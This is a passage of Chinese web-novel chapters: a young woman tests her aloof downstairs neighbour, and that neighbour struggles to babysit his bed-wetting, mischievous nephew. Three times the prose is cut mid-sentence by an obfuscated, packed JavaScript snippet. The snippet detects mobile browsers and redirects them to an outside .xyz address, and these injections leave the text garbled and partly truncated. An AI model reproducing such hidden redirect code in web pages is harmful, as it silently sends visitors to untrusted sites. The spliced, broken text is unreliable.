“为什么？为什么你不知道吗？” “或者”咖啡，听迟了了吐完苦水，闯闯挑眉反问。 “我，打扰到他了？”迟了了咬了口苹果，顶着头上一个晃悠悠的问号发卡，嘟嘟囔囔地问。 闯闯和阿葱也各自咬了口手中的苹果，三个人围坐成一圈咔嚓咔嚓吃得起劲。 “你这不明知故问嘛，”闯闯边嚼边含糊不清地说，“你之前不还说他高冷嘛，你见哪个高冷的人整天跟邻居你来我往打得火热的？” “对呀，”终于回来上班、梳着俩将将到肩头的甜妹麻花辫的阿葱也开口道，“而且现在的人边界感都特强，跟邻居关系太近才奇怪吧？” 她是个典型的娃娃音，说起话来声调又甜又软，即便是用这种反问的语气也拖着软绵绵的尾音。 迟了了目瞪口呆：“啊？” “哎呀，阿葱这就是你不知道了。”闯闯摇摇头，拍拍阿葱的肩膀，用下巴指了指一脸怀疑人生的迟了了，“你迟老板从小生活的环境跟咱们不一样，她家那边，邻里邻居大多是一个圈层的，都熟悉。而且她从小嘴甜又爱笑，特别讨人喜欢，现在年轻人流行的这种邻里关系，对她来说——” 话没说完，她摆摆手，一切尽在不言中。 阿葱恍然大悟，她先前只知道这位二老板是个儿童绘本作家兼漫画师，对她家庭情况的了解顶多停留在“家境不错”这个层面。 这么一听才知道，原来不只是家境不错…… “不过我有个疑问，”闯闯话锋一转，又问，“谁给你寄水果了？我优雅美丽又大方的齐阿姨吗？那是不是也有我一份？” 她口中的水果，是迟了了为了验证自己的猜测又做的一次实验——她告诉周默，家人寄来了一整箱水果，自己吃不完，准备给邻居们分一分，问周默有没有喜欢吃的，她可以提前给他留出来。 附带的照片里有很多种水果，只要有意接受这份好意，总能挑出一两种来。 然而周默的回复不到三秒钟就发了过来，还是那三个字：不用了。 至此，对方的回避已经昭然若揭。 这也是迟了了今天坐在这里向两人求助的原因。 闯闯这话问得极其厚脸皮，但也并非无缘无故。因为两人关系好，又是一起开店的情谊，一直以来，无论是哪边的家长给自己孩子送点东西，也都会捎带着给另一个也留一份。所以，说完周默的事，闯闯自然也记挂起自己那份来。 而她口中“优雅美丽又大方的齐阿姨”，便是许愿的妈妈，齐珍。 迟了了摆摆手：“哪有什么水果，我就找了个网图试探试探他，珍珍妈妈现在在国外出差呢！” “……”闯闯一阵语塞，“合着你在这儿钓鱼执法呢？” “这叫聪明！”迟了了义正词严道。 她不觉得这么做有什么错，反正在可能性已经达到八-九成的情况下，自己只是需要再验证一下而已，没有机会就创造机会呗。 至于创造机会的过程中所产生的成本…… 能省则省嘛！ “那万一他没躲着你，真要了呢？” “那就给他买点呗！”多大点事儿！ 而且真要的话起码说明自己的计划没失败……嗯，总比现在这样强。 想到这一点，她又哭丧着脸趴在桌子上。 闯闯闻言朝她比了个六：“……我看你挺闲的。” 迟了了撇嘴。 这时有客人进来，阿葱赶紧起身去接待，桌上便只剩下了迟了了和闯闯两人。 两人一个目光呆滞地趴在桌子上，一个懒洋洋地看着窗外，就这么各自发了会儿呆。等吃完最后一口苹果，闯闯也起身准备去忙了。 离开前，她又折身弹了下迟了了头上的问号发卡：“我有点建议，你要不要听？” 迟了了唰地一下抬起头，目光炯炯地看着她：“听！” “保持边界感。” “根据你的描述，我推测你这新邻居九成九是个慢热的人，这种人极其注重边界感，”闯闯说着，忍不住笑起来，“你如果再这么热情下去，我看别说拉近邻里关系，人家不把你拉黑都算好的了。” 说完，她转身扬长而去，留下迟了了一个人拖着长长的“啊——”皱紧眉头。 边，界感？ 她一头栽在桌子上，任凭满头长发将整颗脑袋都盖了起来，就这么定格了有一分钟的时间后，又扭头朝向一边，然后伸手剥开头发，明知脸颊上的肉被桌面挤变了形也不管不顾，只空荡荡地垂着双手，两眼放空，望着窗外出神。 边界感…… 多么虚无缥缈的词汇呀！ 为什么它不能像国界线一样，有个一目了然的标识呢，这样自己就能好好地待在外面，不越雷池一步了。 这么想着，她脑海里慢慢浮现出一个诡异的画面——大街上人来人往，每个人身上都有一个星环一样的图案，所有人都像一颗行星，大家彼此保持距离，各走各的轨道，谁也不靠近谁。 突然，“嘭”的一声，有两个人因为距离太近，星环相撞，发生了爆炸！紧接着旁边又有两个人也撞上了，随后是一对又一对，一时间“嘭嘭啪啪”的爆炸声此起彼伏！ 而随着爆炸声响起，爆炸的效果也不尽相同，有的炸出了一堆废弃零件、火光冲天，有的则是一串五颜六色的星星，还有的是水果、鲜花、彩虹、糖果、小鸡小狗……场面十分热闹。 “哈哈哈！”迟了了想着想着，自己就乐了。 这一乐却把她给乐醒了，嘴角立刻耷拉下来，抓抓头发继续思考： 边界感呀…… …… 之后几天，迟了了一直在琢磨这个词。 百科上显示：边界感，原意是指心理学术语中的自我边界，即让你的事归你，我的事归我，既包括物质上的边界，也包括个人空间的边界。 嗯，还是很虚…… 她又去社交平台上查，这一查可把她吓一跳—— “没边界感的人真的很招人烦！” “没有边界感的人永远在伤害别人！” “讨厌没有边界感的人！” “对没有边界感的人说No！” “有没有人觉得，没边界感的人很没有教养？” …… 这哐哐哐一桩桩罪名砸下来可就严重了，迟了了顿时不敢再轻举妄动。 跟新邻居做不成好朋友不要紧，这要是非但没做成朋友还惹人讨厌，那可就得不偿失了，自己的计划也要失败了！ 没办法，她只好先暂停投喂行动，一切从长计议。 …… 就这样，因为一个阴差阳错歪打正着，周默竟过上了搬家以来，真正的几天清静日子。 虽然不用每天打卡上班，但他的生活一向秩序感十足，每天早上7点起床，锻炼一小时后吃早饭，然后泡论坛、看论文、看书、发呆，或者查看邮箱回邮件……总之怎么着都是消磨一整天，晚上十二点钟准时上床，接着失眠到两点多，有时是三点多，而后坠入梦乡。 规律且不被打扰的生活让他很快适应了回国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818841|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后以及搬进新家的生活，之前种种变故在他内心掀起的波澜也渐渐平复，似乎了无痕迹。 然而，就在他以为日子将这样平静地过下去时，一位不速之客的到来再次打破了来之不易的宁静。 - “不行，我不同意。” 电脑前，周默骨节分明的手指毫不停顿地敲击在键盘上，拒绝的话也说得干脆利落。 “哎哟，你帮帮忙嘛！我这次交流要去一个月，在那边又要从早到晚也没个照应，真的没办法带上他呀！”旁边外放的手机里，一个年轻的女声仍在努力试图说服他。 周默依旧不为所动，目不转睛地盯着电脑屏幕：“你可以去找你阿姨。” “阿姨工作多忙你不知道？”电话那头的女人显然被他这不过脑子的主意给惊得不轻。 敲打键盘的手指终于停下，周默恍然回神，眉宇间流露出些许懊恼。 “那去找你爸。”他又说。 “我爸他不行！”这次轮到那边嫌弃了。 “他怎么不行了？”周默语气有些不耐。 “我爸他隔辈亲，你别看他当年对我整天挑三拣四没个笑脸，但对袁小圆可是溺爱得毫无底线，几乎可以说是有求必应，绝对不能给他带，不然等我回来小家伙就疯得无法无天了！” 周默听了这话更无语了：“袁月，什么让你觉得我可以带他？” 他真想撬开对面人的脑壳，看看里面装的究竟是什么物质，自己儿子不找自己老爸照顾，也不方便打扰继母，对他这个不怎么来往的继兄倒是使唤得理直气壮。 “不用你怎么照顾，这小子现在穿衣吃饭洗澡自己都会了，你就看着他别闯祸就行了，真的！”电话里，叫“袁月”的女人又说。 “再说了，他平时要去幼儿园，不会耽误你太多时间，顶多需要费点心的也就早晚和周六日，你要是不耐烦，让他自己玩也行。而且你放心，我已经警告过他了，在你工作的时候绝对不准他打扰！真的！” 她一字一句说得信誓旦旦，周默几乎都能看到她在那边举手发誓了。 可惜这些对他没用。 “我想你可能误会了什么。”周默平静说道，手指继续在键盘上飞舞起来。 “诶？” 有希望？ 女人一听这话，发出惊喜的声音。 可就在她以为周默要说自己其实并不介意帮忙照顾一下小孩的时候，紧接着便被一盆冷水兜头泼下——只听周默说道：“我不只是工作的时候不希望被打扰，实际上，我任何时候都不想被打扰。” 就算是坐在沙发上无所事事地发呆，他也不想旁边有个小孩窜在窜去。 他这个人不喜欢的东西有很多，其中有一样就是不喜欢跟人打交道，而这个“人”里，最让他避之不及的，就是小孩。 相比乖巧听话逻辑严谨的数据和代码，小孩子无疑是这个世界上最捉摸不定的变量，喜怒无常，堪比恶魔！ 苦口婆心劝了半晌以为终于看到曙光的女人被他这么虚晃一枪，登时一噎。 听筒中隐约传来几声粗重的喘息，周默完全可以预料到对方此时脸上定然是一万句不可描述的弹幕飞驰而过。 但无所谓，他不在乎。 下一刻，电话被嘟地挂断，周默从电脑上移开目光，淡淡扫了眼手机，而后继续工作。 然而，就在他以为这事就这么过去时，半小时后—— “砰砰砰！” 801的房门突然被重重敲响。 或者更准确来说，是“拍”。 14. 不速之客 托之前被频繁投喂的福，周默第一时间就想到了楼上那位，可随即又觉得不像。 楼上那人的敲门声虽然也是精神头十足，但一般都是三短一长，两串一组，多少还是有一定成年人下意识的节奏感的。 对比之下，此时的敲门声则完全凌乱无序，时而一下一停，时而连续三两声，力道也不大有章法，噼里啪啦，咚咚哐哐，时轻时重。 就在他犹疑的时间里，拍门声突然停了下来，周默更觉得奇怪，心想莫非是楼里哪家的熊孩子在捣乱。 不料思绪刚停，那声音又响了起来。 这一回，同时传入耳畔的，还有一声奶声奶气的呼喊： “舅舅！开门呀——” “开门呀开门呀——你别躲里面不出声，我知道你在家！舅舅——” 周默心头咚地一跳，听着这个声音，一个荒谬无比的念头突然闯入脑中！ 他立刻起身箭步来到门口，哗地一下拉开大门！ 下一秒，门内门外一大一小一高一低两人四目相对，周默的后槽牙紧紧咬在了一起。 一个肩背小黄人书包、身穿卡通连帽卫衣、手戴电话手表、个头刚到周默大腿的西瓜头小胖墩正噙着根棒棒糖仰头站在门外，手里抱着个不知是什么的本子，身后还有个小黄人行李箱和一个行李包。 一见周默开门，小胖墩一双眼睛肉眼可见地一亮，下意识往后退了两步将头仰得更高，然后对上周默寒意四溢的目光，响亮地唤了声： “舅舅！” - 昨晚下了一夜的雨，今天天气依旧阴沉沉的，此时站在8楼阳台往下看，目之所及除了深灰色的潮湿路面和路边零星停着的几辆车外，视野中早没了记忆中那辆红色汽车的影子。 周默闭了闭眼，深吸一口气将胸腔中翻腾的怒意压下去，紧接着，他转身回到书桌旁，捞起手机调出最近的通话记录就拨了回去！ 听筒里很快响起嘟嘟声，然而对面却始终没接，过了会儿，嘟嘟声被一道机械而友好的女声替代：“您好，您拨打的电话暂时无法接听，请稍后再拨。Sorry,TheNumberYou……” “呵。”周默冷笑一声挂断电话。 有胆强塞没胆接电话啊。 再回身朝门口看去，西瓜头小胖墩已经自己走了进来，此时正站在玄关处瞪着一双圆溜溜黑漆漆的眼睛左顾右看好奇打量着。 转眼间对上周默的目光，他又立刻老实站好，从胳肢窝下拿出那个不知道是什么东西的线圈本子，双手朝周默举过来： “舅舅，妈妈让我给你！” 周默眉头一皱：“什么东西？” 抬步过去拿起本子一看，他沉默了——只见线圈本半透明的磨砂壳下，第一页用彩色马克笔写着七个大字： 《袁小圆饲养手册》。 饲、养…… 真是亲妈啊。 翻开本子，里面一页一页写的都是眼前这小屁孩的日常生活信息，从每日起床睡觉的时间，到幼儿园地址、班级和老师的联系电话，再到小孩每天要补充的营养素、喜欢不喜欢的东西、过敏原，等等。 周默扫了两眼就不耐烦地扔到了一旁，转而背过手看着眼前的小胖墩。 正东张西望的小家伙察觉到他的气场，咻地扭过头，双脚并拢挺胸抬头站好，然后对着周默咧开嘴： “嘿嘿——” 恶魔的假笑，周默心说。 “你妈妈呢？” “妈妈已经走了！”小胖墩扬声回答。 “她怎么跟你说的？” 小胖墩倒是实诚，奶声奶气地答道：“妈妈把我送到楼上，让我等五分钟再敲门。”说着还展示了一下自己腕上的儿童手表。 很好，还给自己留足了逃脱时间。 “那我要是不开呢？” “那就一直敲到你开为止！” 一通耍无赖般的话被小孩子一脸无辜且理直气壮地说出来，周默听在耳朵里差点又没绷住。 真要任由小屁孩敲下去，他在这楼里肯定出名了！ 见周默只沉沉看着自己不说话，小胖墩不知道自己刚那句话说错了，可反省了一会儿，没反省过来，于是又龇牙仰头看向他： “嘻——” 周默额头青筋直蹦，抬手想要揉揉，随即又作罢，转而再次拿起手机，打开微信举到唇边：“袁月你好样的！一个月就一个月，多一天我就把他扔出去！” 飞驰的红色汽车里，女人看着弹出的消息提示，迟疑了好大会儿才拿起手机。等听到这么一句咬牙切齿的话后忍不住得意地笑了出来，回了句“谢谢哥”便将手机一扔，愉快地按开车载音响，在动感十足的鼓点中越驶越远。 - 沙发前，周默双手抱臂半坐在书桌边上，看着几步外缩在蛋壳沙发椅里晃着两只胖脚丫的小胖墩，终于整理好心情。 “3.14。”他叫道。 “嗯？”小胖墩立刻端正坐好，双目炯炯地看向他。 “那里面的东西，”周默示意了眼茶几上的册子，“你自己记着。” “啊？可是——” “现在，我要跟你约法三章。”不给小胖墩反驳的机会，他继续又说。 他想好了，一个月的时间，他没耐心事无巨细地照顾小屁孩的衣食起居，那么干脆从娃娃抓起，教育这小家伙自力更生，自己的事情自己做。 所以，眼下更重要的，是立规矩！ 小胖墩一听“约法三章”，非但没害怕，反而来了精神，双眼更亮、坐得更直，连刚刚要说的话都抛在了脑后。 见他态度还算端正积极，周默缓了缓语气：“规矩，你妈妈都跟你说了吗？” “嗯嗯，说了！”小胖墩点点头，掰着短短胖胖的手指头开始细数，“不能打扰舅舅工作，不能乱动舅舅东西，呃，不能，不能在舅舅面前大吵大闹，不能——” 他说着说着突然卡壳，挠头想了半天，最后可怜巴巴地看着周默：“舅舅，我想不起来了。” “……”耐心。 等翻涌的情绪再次平复下来，周默才看着小胖墩一字一句道：“还有不准在墙上乱涂乱画，自己的东西自己收好，不准乱扔，自己刷牙洗澡上厕所，自己睡觉。” 小家伙听着直点头，点到最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818842|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然停下，巴巴地望着他：“舅舅，你不给我讲睡前故事吗？” “没兴趣。”周默无情拒绝。 小脸立刻垮了下来，但觑了眼他的脸色，知道人在屋檐下自己拗不过，只好瘪着嘴说：“……那好吧。” 这副可怜相没能让周默心软，只听他加重语气继续交代：“还有最重要的一点，不准在幼儿园闯祸，不准让老师喊我去给你收拾烂摊子。” 他丢不起这人，更不想踏足一群小学鸡叽叽喳喳的地方！ “……哦。” 说完这些，周默许久没有再开口，只皱眉看着他。 小胖墩等了一会儿，没见他有反应，小心地叫了声：“舅舅？” 周默深吸一口气收回视线，转而无力地看向窗外：算了，该说的都说了，能记得多少、能不能遵守也只能兵来将挡水来土掩了。 …… 好在相处的第一天，事情并没有周默想象的那么糟糕。 或许是因为初次来到一个陌生的环境还有点拘谨，又或是出于别的什么原因，小家伙并没有轻举妄动，除了吃饭的时候表现出有一点点挑食外，其他倒还算乖巧。 等到了晚上，小家伙更是自己洗漱好，时间一到就乖乖爬到床上，小天使似的跟周默摆摆手说晚安，然后抱着最爱的恐龙玩偶不用哄就睡着了。 晚上十二点，结束工作洗漱完毕的周默来到床边，垂眸看着盖着一角被子、肚皮一鼓一鼓打着小鼾的小屁孩。 看了会儿，他伸手捏上小家伙微微张开的嘴巴。 小呼噜随之停止，室内恢复安静。 他满意地收回手。 老实说，小胖墩这半天的表现有些出乎他的预料，这让他不禁有些自我怀疑，莫非上次见面，对这小家伙认知有误？又或者，是短短一个多月里，当初那个“熊孩子”已经成功蜕变成了一个乖孩子了？ 如果真是这样的话，那接下来一个月他不是不可以考虑对他适当和颜悦色一点。 这般想着，他绕过床尾，走到另一边掀开被子上床。 打开床头灯，周默习惯性地准备看会儿书，可旁边多了个人，虽然只是个小孩，但轻微的呼吸声和鼾声还是让他无法集中精神。 没办法，他干脆阖书躺下，看能不能睡着。 - 夜幕深沉，喧闹了一天的城市渐渐归于宁静。 远处街道上偶尔炸起一声机车的轰鸣，在这浓重的夜色中像是大地打了一声重鼾，让人在沉沉睡梦中受到些许惊扰，但又不至于惊醒。近处楼下，小区绿化带里的虫子也打着瞌睡，趴在树上断断续续地叫着，像是在给楼内窗里的人们唱一曲摇篮曲。 突然，周默霍得睁开眼！ 他不知道自己是什么时候睡着的，但此时他已经完全没有心思在意这件事，因为一股滚烫的热意，正毋庸置疑地占领着他大腿根部的位置！ 周默一个激灵，嘭一下惊坐起来！ 探身拧开床头灯一看—— 呼！还好，不是…… 然而下一秒，当看清搭在自己身上的那两条小粗腿时，他怒意陡生： “袁！周！率！” 15. 水深火热 “不是我说你，你都出国好几年了，怎么还是这生活水准呢？” 901客厅里，迟了了盘腿坐在坐垫上，看着视频里正“呲溜溜”猛吸泡面的许愿啧啧直摇头。 “你就不能学着做点饭啊？” “你还说我？”对面许愿满口泡面，纵使含混不清，也要坚持反驳，“你不也吃着呢！” 迟了了低头看看自己眼前正泡着的杯面，还有一根旗杆一样的塑料叉子，脸不红心不跳：“我这是零食，你那正餐能比吗？” 话音刚落，一旁的计时器就“嘀嘀嘀”响了起来，她立刻伸手掐掉，马不停蹄地拿掉叉子，搅拌搅拌，埋头开吃！ 一时间，视频内外，隔着十万八千里的两人同时发出一串“呲溜溜”的声音。 等一口喷香的泡面下肚，许愿才腾出嘴巴开始说话：“迟三三你就是双标，你这深更半夜拿泡面当宵夜的，生活水准难道就比我高了？” “但我白天吃得好呀，”迟了了得意洋洋，“我中午可以吃清蒸鱼、粉蒸肉、小炒肉、狮子头、糖醋排骨、腌笃鲜，晚上可以吃葱油拌面、海鲜面、罗宋汤、八宝粥，还有火锅、烧烤、炸鸡、猪排……”说到这儿，她咂咂嘴，挑衅地看着许愿，“你吃得到吗？” 这一通报菜名对于忙到下午才勉强吃上一口泡面的许愿来说无疑太过残忍，他咽了咽口水，梗着脖子不肯认输：“那又怎样，除了那几个面和汤之外，你这有几道是自己做的，我可是会自己做菜的！” “你自己做菜？”迟了了一言难尽地看着他，“就你那番茄炒蛋？”说完她低头“呲溜”一下，又是一口面。 “番茄炒蛋怎么了，番茄炒蛋是海外华人的招牌菜，我只要一盘番茄炒蛋就能征服这群歪果仁的舌头！” 迟了了吃着面，不屑地哼了一声：“好好好，一盘番茄炒蛋，能保你一世荣华富贵。” 许愿下巴一扬：“哼！” 迟了了摇摇头，低头又往嘴里吸了口面。 突然，她动作一顿，转头看向外面：“嗯？” “怎么了？”许愿见状，随口问道。 “外面……好像有个男的在喊什么，什么扬州哩？”迟了了歪歪头，“大致是这个发音吧，没听清。” “怎么？有人吵架，还是发酒疯的？”许愿紧张起来。 迟了了竖着耳朵又听了会儿，摇摇头：“没声音了。” “别搭理了，大半夜的估计有人发神经，离远点。”许愿说。 迟了了点头：“哦。” 然后继续埋头“呲溜溜——” - 淡黄的灯光中，半明半昧的卧室里，原本抱着自己的一角被子乖巧地睡在床的另一侧的小胖墩，不知何时竟已踢开被子横了过来。 不仅横了过来，他两条腿还搭在了周默的大腿上，而刚刚那股将周默惊醒的滚烫热意，不是别的，正是这小家伙的—— 童，子，尿。 刚放水淹了半张床的小胖墩对此浑然不觉，甚至因为一口气将水放了个干净，小家伙此时正肆无忌惮地摊着双手，上半截睡衣掀起一角，露出白白胖胖的小肚皮，在周默压抑的怒吼中歪了歪头、砸吧砸吧嘴……睡得更香了。 周默看着他酣畅淋漓的睡姿，再看看自己的身上、床上、被子上的一片狼藉，以及空气中隐隐飘散着的气味，有那么一瞬间恨不得把这小恶魔直接打包扔出去！ 然而想归想，要扔也不是现在，深更半夜的，眼前的残局他总得收拾。 没办法，他只好翻身下床，忍着嫌弃去洗了个澡并换了身干净睡衣，回来又将睡得无知无觉的小屁孩扒了个干净，包个毯子往角落椅子上一放，任劳任怨地将整套床品换了个遍。 等把所有换下来的东西都扔进洗衣机，他又把睡得昏天黑地的“罪魁祸首”抱回床上，也套上干净的睡衣。 做完这些躺回床上时，周默的睡意已经消散了大半，一旁刚作了恶的小魔头则惬意地翻了个身，再度打起小鼾来。 周默听在耳里，气得攥紧了拳头。 揍……是不能了，可想了又想，这口气他还是忍不下去，于是拿起手机就拨了个电话出去。 凌晨两点的电话响了很久才被人接起，那边似乎以为这深更半夜发生了什么大事，声音中透着紧张： “哥，怎么了！袁小圆怎么了？” “怎么？”周默冷冷说道，斜了眼旁边天塌了也不知道的小屁孩，“放心，他好得很。” 那边袁月松了口气：“那就——” “是我有事。”不等她说完，周默又道。 “诶？” 周默攒着眉头，忍不住吐槽：“不是我说，你儿子都这么大了，竟然还尿床？” 这一次，电话那头陷入了死一般的寂静。就在周默以为身为妈妈的某人在为儿子犯下的错感到心虚抱歉时，突然，听筒里传来“噗”的一声，紧接着又是一连串响亮的大笑。 “哈哈哈哈哈——” 周默吓了一跳，立刻将手机举出去半米远，脸上露出嫌弃又难以置信的表情。 “哈哈哈哈哈，哥，不是，你不会，哈哈哈——” 周默脸都黑了。 笑声持续了足足有一分多钟，对面似乎才终于察觉到自己的幸灾乐祸有点不大合适，努力让自己停下来。 等好不容易缓和下来，她清了清嗓子：“咳！那啥，哥，这么大的小孩尿床，其实挺正常的。而且……”她顿了顿，憋了好久还是忍不住揭穿他，“我给你的册子，你是不是没看呀？” “册子？”周默眸光一紧。 “那个，我在里面写了，睡前两小时尽量不要让他喝水，半夜一点左右，一定要把他叫起来上个厕所，噗——”说着，她忍不住又笑了出来，“还有啊，哥，袁小圆不是你，他是个正常智力水平的小孩，你不能拿你自己作为标准来要求别人啊。” …… 挂断电话，周默一脸郁结。 他本以为册子上都是些零零碎碎的东西，除了幼儿园地址、老师电话和过敏原之外，其他的小家伙自己记着就行了，毕竟都长这么大了。 可万万没想到，里面竟然还有小家伙睡着后的注意事项？！ 思索半晌，周默得出一个早已在心里根深蒂固的结论： 小孩真烦，养小孩更烦！ 回想起睡前自己竟然还起了跟小屁孩和平相处的念头，现在想想，真是天真！ 他起身走出卧室，在客厅里翻找了半天，才在沙发垫后面翻出那本被他嗤之以鼻的《小屁孩饲养手册》……认真阅读起来。 都说“第一个孩子照书养”，虽然周默还没有孩子，也没有听过这句话，但为了不让自己再遭遇“水漫金山”的狼狈与抓狂，几乎是无师自通地，他已经开始践行这话了——又虽然，这或许也算不上是一本书。 而接下来的事实证明，这一晚的水漫金山事件，只是周默水深火热带娃生活的序幕而已。 此后的许多天里，周默深度怀疑那泡尿有类似小狗撒尿圈地盘的效果，以至于这小屁孩竟然能这么快就不把自己当外人，越发无法无天起来。 …… 因为半夜的一番折腾，又翻完了那本《袁小圆饲养手册》，第二天早上7点，关掉闹钟之后，周默躺回床上，阖眼准备再睡个回笼觉。 可刚躺回去没两分钟，“嘭”的一下，他就感觉侧脸一痛，像是被人猛揍了一拳。 “嘶——” 还没睁开眼，他便一把捞住了作恶的罪魁，可紧接着又愣住。 这手感…… 睁眼一看，竟然是只胖脚丫。 顺着脚丫看去，半夜里横着睡的小胖墩已经又换了个方向，头朝床尾脚向床头，一只胳膊打直伸过头顶，另一只则握拳抵在耳旁……像个一飞冲天的奥特曼。 也难怪这一脚能踹在自己脸上，怕不是把自己当怪兽踩了？ 周默生无可恋地看着窗外，一大清早，心情便坏了大半。 然而这还只是开始。 接下来，先是到了起床时间，小家伙怎么也不肯起，周默在这边喊他，他便像个“皮球”似的滚到那边，周默在床头喊他，他又像只毛毛虫一样蛄蛹到床尾，直到最后，周默耐心告罄，单手一拎把他扔进了洗手间。 可没想到扔到洗手间也不省心，周默将早餐端上桌，又等了一会儿，没听到洗手间有动静，走进去一看，才发现小屁孩竟然正坐在马桶上打瞌睡。 吃饭的时候更加折腾，鸡蛋只吃蛋黄不吃蛋白，烧卖只吃馅不吃皮，三明治里的蔬菜也不吃，一片片全给挑出来，牛奶要热得刚刚好的，水果要榨成汁的…… 周默几乎暴走，简直想直接把东西倒进他嘴里了事！ 好在事情也不总是坏的，令人略感欣慰的是，饭后有玩具和童书作伴，小家伙总算消停了点。 周默警惕地盯了他好大会儿，见他一个人玩得还算安静，才渐渐放松了警惕，打开电脑做起自己的事情来。 这一忙便是两个多小时，等他再次抬起头，面前客厅里早已空空荡荡，一个人影也没有了。 时近中午，周默阖上电脑，一边起身一边思量：没想到小家伙玩起来还挺有定力，不过他不会又睡着了吧？睡着了不会又尿床吧…… 想到这儿，他心里一激灵，赶紧又去找人。 可客厅没人，厨房也没人，周默打眼扫过去哪都没见袁周率的影子。 这时，他突然听到洗手间里传来一声奇怪的笑声：“嘿嘿嘿——” 周默循着声音走过去。 干湿分离的洗手间里，淋浴间门是关着的，而平日里也关着的灯此时却亮着。 那道奇怪的笑声，正从那扇门后传过来。 莫名的，周默有种不祥的预感。 “3.14。”他喊道。 里面笑声顿了一下，旋即响起小家伙响亮的呼喊：“舅舅，我在这里！” 不等周默反应，那扇门已经从内打开，紧接着，一个浑身上下裹满泡泡的“小怪物”从门后探出头来。 周默顿时呆立在原地。 半晌，他才找到自己的声音，看着眼前这个从头到脚全是泡沫，只露出一张脸的“不明生物”，努力压抑着胸口的怒气，沉声问道：“你在干什么？” “我在跟泡沫怪兽战斗！” “……” 那句话叫什么来着——或许是气到极致反而更容易冷静下来，周默发现自己竟然还有心思想别的——哦对，“孩子静悄悄，指定在作妖”。 世人诚不我欺！ …… 到了下午，周默吸取教训，明令要求袁周率小朋友必须在自己的视线范围内活动。 小家伙虽然不大情愿，但碍于舅舅的“淫威”和双方力量悬殊也只能听从，不过到底一个人待不住，不能自己找乐子，没一会儿他就把妈妈前一天的叮嘱忘了个干净，将目标放在了周默身上。 “舅舅这是什么？” “舅舅那个是做什么的？” “舅舅你在工作吗？” “舅舅你能陪我玩会儿吗？” “舅舅这些英语和数字是什么意思呀？” “舅舅——” “舅舅——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818843|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 一个下午过去，耳朵都快磨出茧子的周默已经对“舅舅”这两个字有心理阴影了。 - 等好不容易熬过水深火热的两天周末，到第三天，周默总算盼来了周一。 一大早，他就将小家伙从床上薅了起来，也顾不上什么自力更生了，快速给他刷牙洗脸、换好衣服，吃过早饭、收拾妥当之后，就带上小书包、戴上小黄帽，迫不及待将他送去了幼儿园。 看着小家伙被老师领进幼儿园大门，他终于长长松了口气。 然后又驱车去公司。 下个月精卫新品就要上市，这段时间以来，公司所有人都在加班加点，周默虽然只是AI研发部的兼职顾问，但也要参与到项目中来，在这最后阶段带着所有负责AI算法的同事对智能系统进行最后的升级和完善。 一整天又是开会又是干活，转眼几个小时过去，又到了幼儿园放学的时间。 周默头疼地看着日程表上两个小时后的会议预约，想了想，做了个冒险的决定。 …… 一个半小时后，周默办公室里。 “我现在要去开会，你老老实实在这里待着，看书、玩玩具，随便你，但不能乱跑，也不能出去打扰别人工作，听到了吗？” “嗯！舅舅你放心，我都记住了！”小胖墩瞪着一双大眼，重重点头表示。 周默：“……”他放不了心。 看着手机里催促的消息，他伸手想要在小家伙身上拍一拍，可快碰到时又停住。 顿了顿，他收回手，长叹一口气，转身出了办公室。 坐在沙发椅上，袁周率小朋友看着玻璃门外周默的脚步渐渐走远，等到完全看不见了，才无奈地摇摇头： 唉，怎么还把自己当小孩子呢？ 他都已经5岁，是上中班的大孩子了！不再是小班的小娃娃了！ …… 事实证明，袁周率小朋友的表现果然不出周默所料，等他一个小时后从会议室里再出来时，办公室里早就没了某个“大孩子”的身影。 小黄人书包大剌剌地敞着，“横尸”在地上，露出里面的海绵宝宝水杯、彩笔盒和两本书，旁边还放着几张被涂抹得乱七八糟的A4纸。 周默看着那纸，猜测应该是哪个同事怕小家伙无聊送进来让他画画的。 当然，也可能是小屁孩自己找别人要的。 将书包收拾好，他走出办公室，左右看了看，循着一边声音略显嘈杂的方向走了过去。 越往前走声音越清晰，渐渐地，还听到有小孩咯咯的笑声传来。 果不其然，刚转了个弯，他就看到一个小胖墩正坐在一张比他大出许多的黑色办公椅里，旁边一个女生还贴心帮他转着椅子，俨然是把那张办公椅当成了玩具，周遭还有几个人脸上带笑地逗着他。 “咳。”周默走近一些，清了清嗓子。 几人动作一顿，等看清来人瞬间各就各位，摆出一副“我一直在认真工作”的样子。 周默虽然不苟言笑，但也不是个死板的领导，更何况这还不是自己管辖的部门，他视若无睹地走过去，在几步外停下，看着还在椅子里乐呵呵打转的小屁孩。 “……”旁边刚刚给他转椅子的小姐姐悄悄伸出一只手，把椅子刹住。 